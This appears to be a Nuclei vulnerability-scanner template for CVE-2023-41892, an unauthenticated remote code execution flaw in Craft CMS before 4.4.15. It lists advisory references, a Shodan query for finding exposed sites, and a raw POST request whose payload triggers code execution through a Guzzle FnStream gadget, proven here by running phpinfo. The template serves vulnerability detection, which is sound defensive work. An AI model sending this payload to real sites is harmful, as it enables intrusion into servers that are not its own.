nuclei-templates/http/cves/2023/CVE-2023-41892.yaml

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2.1 KiB
YAML

id: CVE-2023-41892
info:
name: CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.
reference:
- https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
- https://blog.calif.io/p/craftcms-rce
- https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#4415---2023-07-03-critical
- https://github.com/craftcms/cms/commit/7359d18d46389ffac86c2af1e0cd59e37c298857
- https://github.com/craftcms/cms/commit/a270b928f3d34ad3bd953b81c304424edd57355e
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-41892
cwe-id: CWE-94
epss-score: 0.20628
epss-percentile: 0.95857
cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: craftcms
product: craft_cms
shodan-query: http.favicon.hash:-47932290
publicwww-query: "craftcms"
tags: cve,cve2023,rce,unauth,craftcms
http:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}
matchers:
- type: word
words:
- "PHP Credits"
- "PHP Group"
- "CraftCMS"
condition: and
case-insensitive: true
# digest: 4b0a00483046022100eebc66bb03aab7a212aae1ffe2553f08cb9821609f114354603de70610b01a12022100d2fe9b07b74d27a1a000bb8036f008d4a52e64661b0af80983fb6b428a159533:922c64590222798bb761d5b6d8e72950